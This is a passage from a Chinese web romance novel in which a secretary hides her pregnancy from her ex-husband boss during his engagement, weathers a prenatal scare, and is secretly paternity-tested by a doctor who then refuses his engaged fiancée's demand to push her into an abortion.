沈渺:【所以,我还要换医生?】 商音:【等医院通知呗。】 没一会儿,沈渺就接到了医院的电话,还是上次的小护士。 “您要是有时间,就再过来办一次转档,若是没时间就等十天后产检时再来也行。” 沈渺选择等产检时再过去,她工作虽没那么忙了,可也不是说请假就能请假的。 她在电话里选了一位产科医生,让护士到时提前安排好产检挂号。 晚七点,沈渺下班。 她刚出公司,就看到张科研拿着一束花,站在门口。 见她出来,张科研快步走过来。 正赶着下班地点,公司不断有人出来,频频侧目。 沈渺眉头微拧,瓷白的小脸沉了些。 “沈渺,一起吃个晚餐吧。” 张科研将花捧到她面前。 火红的玫瑰沁着水珠,花香味扑鼻。 沈渺却无动于衷,她低声说,“张先生,我觉得我上次跟你说得很清楚了。” “我跟你说得也很清楚。”张科研笑容浅了几分,他保持着将花递给沈渺的姿势。 “看样子你不想跟我一起吃饭,没关系,那就改天再约,花都买了你就收下吧,不然浪费了。” 他绅士又有分寸。 沈渺将花往回推了推,“不收了,回去路上注意安全。” 怕浪费收这一次,就还会有下一次。 “那,我送你回去?” 显然是没料到,屡次被拒,张科研的笑容有些挂不住了。 沈渺将臂弯的包往肩上揽了揽,“张科研,只要你愿意,我们会是很好的朋友。” 她很欣赏张科研,寒门贵子,张科研身上有着跟她一样的坚韧和不懈。 都在一个商业圈子里,互帮互助对他们没有背景的人,都有好处。 张科研想问,如果他不愿意做当朋友呢。 可他在沈渺的脸上看懂了。 他如果执意,那他们就连朋友都不是。 “抱歉,给你带来困扰了,那你收下这束花吧,我们……以后就是朋友。” 再次被递过来的鲜花,已然变了性质。 沈渺欣然接过来。 不等她回应张科研的话,就听周围传来几声惊叹。 是公司的几个小职员,惊呼不已。 “回去吧。”沈渺唇瓣轻启,话音刚落地,天空突然下起雨。 雨势来得急又大,不过几秒就将衣服打湿。 沈渺迅速折回公司门口避着,张科研也跟了过来。 她拿出手机看了一眼,天气预报今晚有大雨,未来两个小时雨都不会停。 “你怎么过来的?”她问张科研。 张科研窘迫道,“打车。” 他这个职位,公司还没配车。 之前有辆车……为了给张母治病,卖了。 下班晚高峰,再加上下雨,一时半会儿打不到车。 “我送你回去吧。”沈渺掏出车钥匙。 张科研点头,“谢谢,给你添麻烦了。” 沈渺带着他在公司侧门,进入地下停车场,上她的车离开。 一路上,两人聊着与工作有关的话题。 张科研将分寸拿捏得恰到好处,既不会尴尬又聊得不会很过头。 不少人看到沈渺收张科研的花,两人还一起回家。 但这次他们不敢在公司大群里传,只敢在没有贺忱的小群里传。 一时间,沈渺跟张科研感情稳定的谣言愈演愈烈。 就连何之洲都听说了这事儿。 何之洲心里‘咯噔’一声,坏了。 沈渺这是打算找个人‘接盘’,好让孩子跟贺忱撇清关系吗? 他当即一个电话给陈庆打过去,用一块儿地做交易,让陈庆把张科研给开了。 陈庆蒙了,他不知道张科研哪里得罪何之洲了。 但他要是把张科研开了,岂不是不给贺忱面子? 毕竟,张科研是贺忱秘书的‘男朋友’啊。 想来想去,陈庆给贺忱打电话。 “贺总,不管张科研得罪没得罪何总,你说这事儿……” 他试探着贺忱的语气。 看贺忱会不会插手。 只要有贺忱撑腰,他就能拒绝何之洲! “是吗。”贺忱想了想说,“我问问沈秘书。” 贺忱挂了陈庆电话,打给沈渺。 彼时,他在饭局上,他拿了根烟,起身到阳台上给沈渺打电话。 109.沈渺,这是第一次,也是最后一次 今晚贺忱的局由林昭陪着。 沈渺送完张科研回家的时候,雨势更大了,路上发生了连环车祸。 她不敢再开,把车停在路边,想等雨势小一些再走。 贺忱的电话,就是她路边等的时候来的。 她接了电话,恰好救护车跟警车呼啸而过,将那端贺忱的声音掩下去不少。 “贺总?” 周围静下来些时,沈渺喊了一声。 “你在哪儿?”贺忱沉声问。 沈渺,“回家路上。” 贺忱看着窗外瓢泼大雨,眸色一深。 “先靠边停。” “前面出车祸了,我在路边停着。” 沈渺微抿嘴唇,听贺忱的语气不是为了工作上的事情。 “何之洲给陈庆打电话,要开除张科研。” 贺忱言简意赅。 车窗上,沈渺舒缓的眉目突然拧成死结。 “何之洲为什么这么做?” 沈渺跟何之洲到底是怎么回事,贺忱并不清楚。 但他们之间肯定不对劲。 “沈渺,别再因为你的私事,扰乱到工作上来,这是第一次,也是最后一次。” 贺忱的语气漠然冷了许多,“这次我会替你摆平。” 说完,他挂了电话。 沈渺还没反应过来,耳畔已经传来忙音。 他所谓的摆平,是不让陈庆开张科研的意思? 替她? 她后知后觉发现,贺忱是来问她,用不用帮忙的。 因为在贺忱眼里,她跟张科研—— 可她还没回答,贺忱已经替她做了决定。 做了就做了,怎么好像还生气了? 好像沈渺是沈渺求着他这么干的。 雨声淅淅沥沥,打在车身上,扰得人心里发烦。 陈庆特意给张科研打了一通电话。 “科研啊,你得罪过何之洲吗?” 张科研一头雾水,“谁?” “九洲集团的老总。” “好像在酒会上见过两次,打过招呼。”张科研对何之洲印象不深刻。 陈庆想,或许是张科研哪里得罪了何之洲,自己都没察觉到。 “你啊,以后行事注意一些,商圈这些人很难伺候的。你知道何之洲亲自给我打电话,让我开除你。” 张科研一听,顿时紧张起来,“陈总,劳烦您问问何总,我是哪里做得不好了?我愿意道歉,怎么样都行。” “先别怕。”陈庆又将他给贺忱打电话的事情说了。 “你啊,可是沾沈秘书的光,以后好好对人家,再记住,以后咱们是贺总船上的人。” 陈庆敲打一番,让张科研一定要抱紧了沈渺的大腿。 这样,他才能抱紧贺忱的大腿。 张科研点头,“陈总放心,我……一定会跟沈渺好好相处的。” 晚上十点,沈渺回到家里时,身上淋得半湿。 雨后有些降温,她感觉冷嗖嗖的,进浴室洗了个热水澡,又煮了红糖姜茶。 折腾清上床时,已经快十二点。 手机上有五十分钟前张科研发来的消息。 先关心她有没有到家。 然后提起何之洲要开除他的事情。 【我不知道哪里得罪了何总,但这次又要谢谢你了。】 【不用谢我,是贺总帮了你,他跟何之洲面和心不和。】 虽然贺忱出手,确实是因为沈渺。 可沈渺不想在张科研面前承这个情。 她简单地解释,字里行间都保持着距离。 张科研没再接这茬,谢完了自顾自叮嘱她早点休息。 沟通结束,沈渺放下手机睡觉。 一周后,贺忱与程家人见面,沟通婚礼细节。 沈渺没去,可她通过新闻知道了最终的沟通结果。 婚礼定在京北大酒店,婚纱由国外名设计师量身定做,价值八位数。 “早知道贺忱这么阔绰,你当初结婚就不该什么都不要。” 商音看到新闻,立马给沈渺打电话过来。 “就那几千万的礼服,金银珠宝的,离了婚卖二手的也够咱们一辈子逍遥的啊。” 沈渺捧着一碗梨汤喝,那日淋了雨一直有些轻微感冒,拖拖拉拉至今没好。 她目光轻颤着,暖色的灯光笼罩着她。 身后是未开灯的客厅,一片昏暗空荡。 愈发显得她形单影只。 “确实多少该要一些。” 那样,卷卷的医药费就有着落了,她就能抓住那次机会离开。 “你说,彩礼多少钱?”商音突然起了八卦的心,“怎么也得几个亿吧?毕竟是贺忱心尖尖上的人呢。” 沈渺小口小口喝着汤,“不知道。” 贺家不缺钱,给多少都是走个形式的事情。 不论是贺忱还是明黎艳,肯定都不会亏了程唯怡就是。 他们的婚期提上日程,沈渺的心底复杂却又轻松。 公司群里所有员工都在祝贺贺忱跟程唯怡。 程唯怡接受着大家的祝贺,以准老板娘的身份说着体己的话。 清晨的阳光打着百荣大厦,将整个大厦照出金色的光芒。 沈渺从电梯里出来,一眼就看到总裁办公室半敞的房门里,有一抹俏丽的身影。 程唯怡已经很久没有来过公司了。 她的声音隔着门传出来。 “那我们去哪里度蜜月?” 贺忱,“你定就好。” 程唯怡语气难掩欣喜、憧憬,“我觉得马尔代夫就不错,但还想去其他地方,再有好的地方,再议行吗?” “嗯。”贺忱鼻腔里发出一个单音节。 沈渺走到工位上,烫金工艺的请柬放在她桌子上。 是贺忱与程唯怡的结婚请柬。 按理说,还没到送请柬的时候。 沈渺怕是第一个收到请柬的人。 她拿起来,掀开看了一眼。 刺眼的红映在她清可见底的眸中,将她眸底染成一片血红。 她深吸一口气,将请柬放入包里。 “沈秘书。” 程唯怡的声音传来。 她抬头,便见程唯怡站在办公室门口。 “你统计一下大家都想喝什么咖啡,我请大家喝咖啡。” 沈渺颔首“好。” 她在秘书部的群里发了一个接龙,统计咖啡品种,不出五分钟就弄好了。 “贺忱哥,那我跟沈秘书下楼去给大家买咖啡了,很快就回来。” 程唯怡拎着浅粉色的小包包,走出办公室,转瞬又朝沈渺说,“沈秘书,我们走吧。” 沈渺没想到,程唯怡竟是让自己陪她去买咖啡。 她拿上手机站起来,跟着程唯怡朝电梯走去。 110.这个孩子,跟贺总没关系 下行的电梯内,只有沈渺和程唯怡。 “沈渺,你怀孕的事情,为什么不公布出来。” 这几日,商定婚事细节,程唯怡不安的情绪稳定了些。 但她还是想找机会,跟沈渺聊两句。 开诚布公地聊沈渺肚子里的孩子。 沈渺不知道程唯怡怎么想的,至今也没有在贺忱面前戳破她怀孕的事。 但她确定,程唯怡肯定是已经知道了。 “没找到合适的机会。” 程唯怡死死盯着电梯壁上她的面容。 “是没找到合适机会,还是故意隐瞒?据我所知你是单身,这个孩子……是谁的?” 沈渺静默数秒,抬起头来淡然地看着程唯怡。 “程小姐放心,这个孩子跟贺总没关系。” 听她说得如此笃定,程唯怡提着的心落下大半。 可程唯怡还是不敢掉以轻心,万一沈渺是故意这么说,放松她的警惕,就为把贺忱的孩子生下来呢? 电梯门开了,门外站着几个员工。 “程小姐,沈秘书。” “程小姐!” 程唯怡转过头来,瞬间恢复了笑容,笑着与他人打招呼。 她的不信任,沈渺察觉到了。 沈渺的唇角扯动着无奈的弧度,带着丝丝苦涩。 买了咖啡回来,程唯怡便回办公室陪贺忱。 沈渺将咖啡分发下去,然后开始工作。 接连两日,程唯怡每天都来公司。 虽然不再像以前一样,将沈渺指使得团团转,但有着把沈渺当贼防的态度,生怕沈渺把贺忱‘偷走了。’ 借着孕检,沈渺请了假,总算避开了每天像被监视一样日子。 她到医院找到提前联系的小护士,带她去找医生。 谁知,护士直接把她带到秦川的办公室里。 “秦医生,接待一下这位小姐。” 沈渺看到办公室外挂着秦川的名牌。 她还没来得及问清楚,护士已经推开门进去,将她的病历档案放在了秦川面前。 秦川穿着白大褂,肤色更显得冷白。 他抬起头,看到来的是沈渺,推了推鼻梁上的眼镜。 “好。” 他吐出一个字,将病历档案拿过来。 沈渺站在病房门口,进退两难。 “沈小姐,这位秦医生是我们医院新来的,你别看他年轻,但是特别有实力。” 小护士看到沈渺迟迟没进来,以为沈渺质疑秦川的医术。 “我跟沈小姐认识。” 秦川开口道,“或许她看到是我,很惊讶,你先出去吧,接下来交给我。” 小护士,“那好,秦医生你先忙。” 说完小护士离开诊室。 临走前,她还关了门。 沈渺站在门口,背脊快贴在门上,她咬着内唇看秦川。 “沈秘书似乎有心事。” 秦川翻动着沈渺的病历,他撩拨起眼皮看了沈渺一眼,又落回去。 “没有。”沈渺朝他走近两步。 “五个多月,该做个全面的大排畸了。”秦川给她开单,“除了日常彩超外,还要抽血化验看孩子的各方面发育如何。” 他将开好的单据交给沈渺,“缴费,到三楼进行检查。” 沈渺接过单据,“好,谢谢秦医生。” “不用谢。”秦川看她捏着单据的指尖泛白,复又说,“我是一名医生,保密病患的信息是最基本的事业操守,其次才是贺总的朋友。” 他是聪明人。 上次他应该就看出来了,沈渺是来转档案的。 后来她转到蔡医生那儿,又被带到他这儿来。 沈渺想,秦川应该是猜出来她怀孕的事儿,贺忱是不知道的。 “谢谢秦医生。” “不用客气,都是应该的。”秦川笑了笑。 沈渺下楼做检查,做完检查等了约莫一两个小时,检查结果出来,她再次拿着检查报告上楼。 彼时,秦川已经快下班了。 他正在给最后一个病人看诊。 沈渺在他门口等了一会儿,待那人看完了才进来。 “秦医生。” 她将检查结果交给秦川。 秦川拿过来看了几眼,眉头渐渐拢起。 “沈小姐,你的检查结果不是很好,有高危的风险,需要做进一步检查。” 沈渺怀孕后,做各项检查,除了胎儿发育有些小,是一路绿灯的。 突如其来的‘红灯’,让她大脑缓不过神来。 “什,什么意思?” 秦川耐心解释,“你先别紧张,只是有高危风险,需要进一步检查,不见得一定有问题。” “如果有问题,是什么问题?”沈渺呼吸一滞,心脏仿佛被一只大手紧紧抓住。 孤儿院那些孩子,身体残缺或先天智商问题的,她看了都心疼。 她更无法接受,自己的孩子存在这样的问题! 可这是她盼了许久,这世界上唯一跟自己有血缘关系的人啊! “孩子的染色体有些问题,如果不进一步检查排除问题,生下来的话有可能是脑瘫,唐……” 秦川看她脸色一寸寸的白下去,白得如同一张纸。 他语气放缓了些,“我刚刚说过了,只是初步检查有问题,一切都等进一步检查才能下定论。” ‘唐氏、脑瘫’。 四个字,都已经让沈渺的心凉了大半。 她不知自己是怎么在秦川的办公室里离开的。 看着她离开的落寞身影,秦川掏出手机,拨出一通电话去。 “喂,贺忱,你来医院一趟……” —— 沈渺再回过神时,商音已经在她面前了。 “傻瓜,你怕什么?”商音坐下,抱着她肩膀,“我那时候孕检虽然一路绿灯,可我见过不少亮红灯最后平安无事的,一定不会有事的!” 商音是沈渺的唯一依靠。 她刚刚下意识地打通了商音的电话。 沈渺喉咙宛若堵了一团棉絮,她哽了哽,吐字费力。 “别怕,我们做个进一步检查。” 商音轻拍着她胳膊,听似无畏的口吻,眼眶却是红着的。 沈渺嗓音沙沙的,“好。” “走,先去做检查,做完检查,我陪你去吃饭。” 商音挽着她胳膊站起来,“不会有事的,你跟贺忱都这么年轻,你们的基因都没有问题的。” 她的安慰,宛若一股绵力,灌入沈渺的胸腔。 渐渐给沈渺带来了力量。 沈渺跟她一起回了秦川办公室,准备让秦川安排进一步检查。 谁知刚从电梯出来,就看到贺忱在角落的吸烟区。 他指缝里夹着烟,眉骨收拢,俊朗的面容染着一丝凝重。 111.羊水穿刺,亲子鉴定 沈渺乱如麻的心,一瞬间静止,‘咯噔’一声坠落谷底般狠狠颤动了下。 “怎么点这么背,到哪里也能遇上他。” 商音的声音从嗓子眼里发出来,嘴唇几乎不动。 沈渺的眼眸颤了颤,却是稀松平常的开口,“贺总,这么巧,又来找秦医生。” “是挺巧。”贺忱语气耐人寻味,“又因为闺蜜的事情来的。” 沈渺身体里紧绷的弦,渐渐松弛开来。 “啊。”商音下意识地点头,“是啊,陪我来的,贺总,好久不见。” 沈渺跟贺忱结婚那两年,商音见过贺忱一次。 是她刚试管成功,拉着沈渺庆祝,两人本打算通宵狂欢的。 谁知贺忱半夜来接人,开着劳斯莱斯在她家楼下等。 那价值不菲,足够买下她当时住的整个小区的豪车,停了短短五分钟。 就被人发到小区业主群里,那叫一个惊天动地,都猜疑到底是哪尊大佛来了。 就那一次。 “商小姐。” 贺忱薄唇轻启,微颔首。 当着他的面,商音的性子都不由得收敛几分。 虽然商音觉得他瞎看不上沈渺,看上程唯怡那种货色—— 可这男人身上那股上位者的气息太浓了。 而且绅士又风度,让商音不由自主地架着身段。 打完招呼,气氛一时僵住。 办公室的门推开,秦川出来。 四目相对,面面相觑。 商音挽着沈渺小声唏嘘了句,“呦,这么年轻又帅,还这么有能力的妇科医生,真厉害!” “这是我老师的名片,我建议你……” 秦川朝沈渺微微颔首后,走到贺忱面前,递过去一张名片。 他的声音很小。 被不远处一阵杂乱声音掩过去。 沈渺没听清他后面说了什么,只看到贺忱把名片接过去了。 “你先忙,我回去了。” 丢下几个字,贺忱操着两条修长笔直的腿,阔步离开。 沈渺望向他背影,目光渐渐清明下来。 “沈小姐的运气真好。” 秦川打开办公室门,示意她们进来。 沈渺与商音一同进入诊室。 “秦医生,我是商音,也是你的患者。” 商音拉着沈渺坐下,“方便加个微信吗?下次来看诊提前预约。” 秦川穿上白大褂,系扣子的动作一顿。 冷白的面色几不可察地沉了沉,他说,“抱歉,不方便。” 商音长相属于妩媚的那一卦,打扮妖娆身材虽不及沈渺,但也不差。 她要微信,就没有男人不给。 一下踢到铁板,她愣住。 “沈小姐,准备做进一步检查吗。”秦川坐下,面色如常,对商音的搭讪无动于衷。 沈渺轻点头,“做。” 秦川给她安排羊水穿刺,他亲自操刀。 等待期间,沈渺双手攥着拳,在操作室外的长椅上坐着,一言不发。 商音调侃秦川,只是想调整一下气氛,不让沈渺那么紧张。 结果一点儿用都没有,还踢了铁板。 “渺儿,放心,不会有事的,我拿我下半辈子风调雨顺换你没事。” 她搂着沈渺,不断给沈渺加油打气。 沈渺刚刚在网上查过,类似她这种高风险值,需要进一步检查的。 确实有很多是虚惊一场,也有很多是真的有问题。 “好吧就算你这些安慰不到你,但这都是概率问题,我们还有很大希望是好的。” 见她沉默,商音便知自己的劝说,她一句也听不进去。 “我从来不觉得,自己是个幸运的人。” 沈渺气息不稳,她强压着情绪,想让自己冷静下来。 “没关系的音音,抱最好的心态做最坏的打算。” 她若是哭一哭,商音还能抱抱她,给她点儿安慰。 可她故作坚强。 商音越看越心疼,那倔强的小脸上突然就涌上来的坚定,像是在告诉她,别安慰了。 没用的。 “沈小姐,可以开始了。” 秦川穿着绿色无菌服,从手术室出来,示意沈渺进去。 手术室的灯光刺眼,四周静得人心里发慌。 沈渺躺在手术床上,撩起衣服,露出白皙的皮肤,微微凸起的小腹。 “太瘦了。” 秦川看了眼她躺下来后,更显得平坦的肚子,“加强营养。” “嗯。”沈渺的手捏着衣角。 看出她紧张,秦川轻拍了下她胳膊,“放松,没事的。” 沈渺闭上眼睛,感受着一丝丝凉意在小腹处传开…… 两个小时后。 沈渺跟着商音回了她家。 “这几天,你就请假吧,跟贺忱说我身体不舒服,你要照顾我。” 商音直接把她带到房间,让她上床,给她盖好被子。 “虽然那个秦川医术不错,但孩子的事情不能马虎,多养两天。” 沈渺打开手机,给贺忱发消息请假。 商音换了套睡衣,抱着商商上床,分散沈渺的注意力。 但商商不给力,没一会儿就倒在沈渺的怀里睡着了。 沈渺侧躺着,怀里抱着小肉团子,柔和的目光看着商商细白嫩的小脸。 “上个月十号,我第一次感受到胎动。” 她说这话时,心头蔓延开丝丝痛意。 “那时,我才深刻地体会到,这个世界上,有了一个跟我血脉相连的人,是什么意义的。” 每天的胎动,就像是她跟孩子的互动。 沈渺对孩子所有的感情和期盼,只在晚上夜深人静的时候,才会涌现出来。 “所以,你为什么对找家人这件事情,这么不上心呢?” 商音渴望家人。 虽然沈渺不说,可她看得出来,沈渺对亲情、感情的渴望,比她还要浓。 沈渺唇瓣微抿。 “因为结局不一定像我们预期的那样。” 商音一噎。 这些年,孤儿院有不少孩子都走上了寻亲的路。 有的根本找不到,有的找到了可多年没见面没感情。 还有的是被父母遗弃的,找回去非但没有温暖的亲情,还往伤口上撒盐巴更难受。 两人沉默下来,房间里静悄悄都是孩子均匀规律的呼吸声。 贺忱很痛快给沈渺批了假。 但沈渺知道,最近公司有个项目要跟,是很忙的。 或许,是贺忱不想让程唯怡每天吃醋。 虽然程唯怡现在不针对她,但每天都在她面前展露对贺忱的占有欲,整个顶层像打翻了醋坛子一样,一直酸溜溜的。 —— 秦川将沈渺的羊水做了亲子鉴定,与曾经贺忱的血液样本进行融合对比。 两天之后结果一出,程唯怡迫不及待的就来医院找他。 112.亲子鉴定结果出来了 “怎么样?沈渺肚子里的孩子……是不是贺忱哥的!?” 秦川手里拿着两管透明液体,他低头摆弄着,镇定自若。 “你想让她是,还是不想?” 程唯怡焦急万分,“你哪里这么多废话?这是我想就能行的事情吗?” 秦川不急不缓将管剂放下,摘下手套来。 “这是亲子鉴定结果,你自己看吧。” 他从抽屉里拿出报告书,递过去。 程唯怡立马接过来。 亲子鉴定结果显示,非亲生关系。 “这……这孩子不是贺忱的!?” 她一脸懵,拧起的眉头透着万分的不解。 秦川眼皮一扬,“不是亲生的,你不应该高兴吗。” “会不会出错?”程唯怡不信! 她总觉得这个孩子,一定跟贺忱有关系。 明明已经是离婚半年后沈渺才怀上,明明这段时间观察下来,沈渺跟贺忱确实清清白白—— 可他们的关系,就是硌在程唯怡的心里。 “你告诉沈渺,这个孩子有问题,不能留。” 程唯怡把亲子鉴定丢在桌子上,拿了包往外走。 秦川的眸光一下冷了不少,“我是医生,不是屠夫,那是一条生命,还是无辜的生命。” 走到门口的程唯怡停下。 她转过头来看着秦川,对视了几秒一下笑出声来。 “秦川,你有选择的余地吗?” 秦川目光逐渐阴鸷,“程唯怡,靠手段才能留住男人,你也是够没种的,大不了就鱼死网破,我不在乎名声,你也别要贺忱了,谋财害命的事情,我不干。” 现在,可不光程唯怡手里有秦川某些见不得光的把柄。 秦川也照样有她的把柄。 “秦川,你敢威胁我!?” 程唯怡气恼,脸颊绯红。 秦川眼神冰冷,不带一丝温度和感情。 “事情,到此为止。” 他当着程唯怡的面,掏出手机来,给沈渺发语音消息。 “沈小姐,检查结果出来了,虚惊一场,胎儿很健康。” 他一字一顿,确保程唯怡听得清楚。 松开摁着手机的手,语音消息发出。 程唯怡气得身体直颤! “行,秦川,走着瞧!” 她指着秦川的鼻子,将这段时间以来提心吊胆的憋屈,全写在脸上。 这令她那张脸,无比丑陋。 办公室的门被关得震天响。 秦川被一缕阳光笼罩,他站在光里整个人却黯然无比。 他盯着那张亲子鉴定,好一会儿低声道了句,“贺忱,算是我欠你的。” —— “只要这个孩子能平安,哪怕他被贺忱带走,我都愿意。” 等待出结果的两天,对沈渺来说是煎熬的。 她无数次地在心态崩了中自愈,又一次次的崩盘。 知道今天出结果,她还是耐不住心里的焦虑,跟商音说了这么一句。 她刚说完,手机就响了。 盯着那条来自秦川的,只有几秒的语音消息,她迟迟不敢点下去。 商音一把将手机拿过来,点开语音,放到自己耳边听。 不是开的扩音,沈渺听不见,只能听出秦川冷然的音色。 “虚惊一场!” 商音没等听完,就把手机拿开耳边,重新点了外放,又听一次。 ‘虚惊一场,胎儿很健康。’ 几个字落地,沈渺那提到嗓子眼,始终悬着的心,终于也落回腹中! 随之而下的,是她眼底蕴了几天,都强忍着没有掉下来的泪。 “我,我收回刚刚那句话!” 商音抱着她大笑,“孩子争气,本来就没事,可不是你跟老天爷换来的平安,不收回也不会反噬。” 沈渺脸上终于有了一丝笑容,发自内心的。 “行了,这两天都没好好吃饭,等会儿我让月嫂多做点,你今晚吃了再走,多补补,先不着急回去上班,我这刚复播挺好的,又开了一个小号拍商商,粉丝涨得特别快。” 经此一事,商音算是看出来了。 孩子就是沈渺的命。 “不论什么时候怀孕的事情暴露,没有人会发现孩子是贺忱的,可等这个孩子生下来,万一他跟贺忱长得一样,就不好说了,所以你干到临产,就辞职,我养得起你,等你生完孩子没事了,再去上班。” 沈渺也在盘算这件事情。 政圈项目应该有一笔提成,能缓解她短期内的拮据。 “音音,谢谢你。” 商音‘啧’了一声,“我刚干自媒体时,一分钱也赚不到,你养了我好几个月,我都没跟你说谢谢,你现在谢我?是不把我当自己人?” 沈渺的手搭在小腹上,紧绷的身体松缓下来,窝在沙发上,听着她的话不禁莞尔。 “我怀孕生子的时候,你跑前跑后,在我的手术同意书上签字,你可是我的家属。” 商音抱着商商,捏着商商的小脸说,“干妈跟亲妈没区别,是不是啊宝贝?你这些衣服,奶瓶,奶粉都可是干妈买的……” —— 早上九点半,百荣。 沈渺请假两天,大部分工作都移交给了林昭。 “你总算回来了,这两天我忙得跟陀螺一样。” 林昭看到她,大吐苦水,像见了亲人似的,“这里是项目部的几个文件,需要处理,上午还有个会,你去跟贺总开吧,我这儿还有一堆事情……” “行,这几天辛苦你了,谢谢。” 沈渺将文件接过来,快速进入工作状态。 林昭摆手,“别谢,都是分内的事儿,只求你以后别为了谈恋爱,耽误工作了!” “什么?”沈渺正准备坐下,听到他这话面露诧异。 “你这两天跟男朋友去哪儿玩儿了?下次赶着休息日去吧,成不成?” 林昭边交接工作,边八卦。 沈渺来公司这么多年,从未无缘无故请假过。 如今她跟张科研的‘恋情’传得沸沸扬扬,无端请假两天,所有人都传她是跟张科研约会去了。 众人没在有贺忱的大群里传,所以沈渺不知情。 贺忱也不知情。 两人都是刚刚听林昭说,才知道的。 贺忱出电梯,单手插在兜里,听到林昭的话,他薄冷的面容微绷着。 浅褐色的眼眸逐渐深邃,凝着沈渺。 沈渺穿着黑色的连衣裙,细细的肩带挂在肩膀上,锁骨清晰。 凹凸有致的身材被A字版的裙衫遮掩住,两条细长的腿格外显眼。 是恋爱了,所以她最近都不穿职业装了,开始精心打扮。 结婚那两年,贺忱没见她这么穿过。 私下都穿得很保守。 113.好好跟贺忱结你的婚 贺忱往那儿一站,林昭顿时噤声。 他目光歉意地看向沈渺,私下这么求沈渺别不管工作约会行,可当着上司这么说。 就等于他给贺忱上眼药,暗指沈渺为了约会连工作都不顾了吗? 他真没意思。 沈渺知道。 她收回与贺忱对视的目光,整理着文件,“这几天,辛苦林助了。” “不不不,都应该的。”林昭顺着接话,“我就是随口一说,其实忙得过来。” 两人扯皮,试图将刚刚的话越过去。 贺忱面色矜冷,由远及近地走过来,分明的指骨敲击着办公桌面。 “你到我办公室来一趟。” 丢下几个字,留下一个肃然的背影,他率先进入办公室内。 “完了。”林昭面色悻悻,“我要知道贺总来得这么巧,说啥也不能这样说话。” 贺忱最讨厌因为私事影响工作了。 沈渺安他心,“顶多挨顿骂,你先去忙吧。” 她转身进入总裁办公室。 偌大的办公室,落地窗透进来清晨的阳光。 贺忱整个人被笼罩在光里,他五官立体深邃,鼻梁下一抹微深的光影。 “订两张飞M国的机票。” 沈渺刚站稳,就听贺忱开了口。 她问,“是有什么突发状况吗?” 说话间,她已经把手机掏出来,准备订票了。 “我和程唯怡。”贺忱开了口,“未来三天,公司所有事物你和林昭代为处理。” 不是突发状况,只是心血来潮的要带程唯怡去国外。 去干什么,沈渺不问,但她提醒贺忱,“明天早上有董事会,后天有一场很重要的商业交流会……” “怎么?你能为了约会耽误工作,我不行?” 贺忱嗓音里的不满,从喉咙里溢出来,快能把人淹死。 沈渺声音戛然而止。 她与贺忱对视,不过数秒道,“身为秘书例行提醒而已,您是老板您说了算,反正后果您自己承担。” 她又开始刺刺的。 掉回身边的这段时间,她给贺忱一种夹着尾巴做人的感觉。 如今,又恢复如初了。 贺忱深眸凝着她。 “程小姐的身份证号是多少。” 沈渺边订票边问贺忱。 贺忱,“你自己问她。” 沈渺存了程唯怡的电话,她当着贺忱的面拨通,并且开了免提。 电话响到快挂了,才被接起。 “哪位。” “程小姐,我是沈渺,贺总让我帮您订一张飞M国的机票,请你把身份证号码发给我。” 沈渺拿出纸笔,准备记。 “去M国干什么?” 程唯怡语气疑惑,“贺忱哥没说啊,沈渺,你不会是想骗我离开国内,好跟贺忱哥——” 倏地,贺忱单薄的眼皮掀起,朝这边看过来。 许是他不知道,程唯怡私下是这么曲解沈渺的。 沈渺倒是很淡定,她把手机放在贺忱面前,“贺总,您自己跟程小姐说吧。” “贺,贺忱哥?”程唯怡语气都变了。 贺忱简言洁语,“身份证号。” 程唯怡,“我等下发到你微信上,贺忱哥,我们去M国干什么?” “选婚纱。”贺忱薄唇轻启。 “不是让设计师来国内吗?”程唯怡问着,已经把身份证号给贺忱发过来了。 贺忱转发给沈渺,没解释,“没事了。” 他将手机递还给沈渺。 程唯怡还在说话,“那我们什么时候去……” 沈渺直接把电话挂了。 她挑选了今晚八点的航班,订好票后将行程单发给贺忱。 “发给她一份。”贺忱翻弄着一份文件。 沈渺把手机关掉,“程小姐更喜欢贺总发给她消息。” 刚刚程唯怡对她什么态度,贺忱不是没看见。 他只是不在意程唯怡是怎么对她的。 贺忱紧拢的眉头透着不满,朝她看过来。 “贺总,政圈项目那边,我马上就能脱身了,申请提成的文件我已经发到您邮箱。” 沈渺却已经越过那个话题。 这两天她度日如年,万幸最后结果是好的。 可她也深刻地体会到,孩子对她的重要性。 她等不到预产期之前了,想赶在贺忱还不知道之前离开。 前提是,那笔提成到手,缓解她的拮据。 贺忱在提成上,一向大方又痛快。 这段时间沈渺的辛苦,他都看在眼里。 虽然项目还没完全结束,但八九不离十,他直接审批通过了那封邮件。 沈渺将邮件转发给财务部,财务审批预计两个工作日那笔钱就能到账。 事情顺利得出奇,上班时间沈渺就偷偷给商音发消息。 【顺利的话,这个月底我就走,但以后真的需要你搭把手。】 商音连续回了一通【OK。】 又将她们搁浅已久的离开计划,提上日程,重新选去处。 一整天,贺忱处理了一些非他不可的工作,下班前由沈渺送他去机场。 期间绕路接了程唯怡。 七点的机场,依旧人满为患。 沈渺去办手续,回过头来却发现贺忱到角落里接电话了。 只有程唯怡站在原地。 “程小姐,您和贺总的机票,没别的事情,我先走了。” 她将机票交给程唯怡,打算离开。 程唯怡接过机票,“沈渺,你肚子里的孩子,是何之洲的吧?” 前段时间,沈渺跟何之洲传出过绯闻。 虽然只是昙花一现,没泛起什么水花,可程唯怡记得很清楚。 她在一一排除,沈渺肚子里的孩子,是谁的种。 “好好跟贺忱结你的婚,别来管我肚子里的孩子。” 沈渺被她一而再再而三的试探,磨得没了耐心。 杀人给个痛快的,程唯怡一没在贺忱面前戳破,二没告诉别人。 见了她就要提一嘴,真不知怎么想的。 “我知道,反正不是贺忱哥的种!”程唯怡被怼了句,理直气壮地说。 说得好像她有证据,这个孩子不是贺忱的一样。 沈渺不由地凝了她一眼。 那一眼,看得程唯怡顿时心虚。 像是她背着沈渺干的那些事情,都被戳穿了一样。 “知道不是你还整天围着我转。” 程唯怡哪儿受得了,理应在自己面前低三下四的人,怎么能如此挺直了腰板说话? 但两人话未落,贺忱结束通话回来了。 “贺总,一路平安。” 沈渺转身就走。 她低垂着眼帘,毕恭毕敬的样子,与方才判若两人。 程唯怡瞪大眼睛,不知道她哪里来的这么大底气,背着贺忱欺负人! 114.她是贺忱的救命恩人 程唯怡实在想不出,沈渺怀的又不是贺忱的孩子,为什么还要藏着掖着? 孩子是何之洲的话…… 难道,沈渺怕自己进不去何家门,想偷偷把这个孩子生下来,母凭子贵? 豪门闹出私生子的事情,会让家族蒙羞。 一般为了遮羞都会息事宁人,孩子不认给一笔钱打发了。 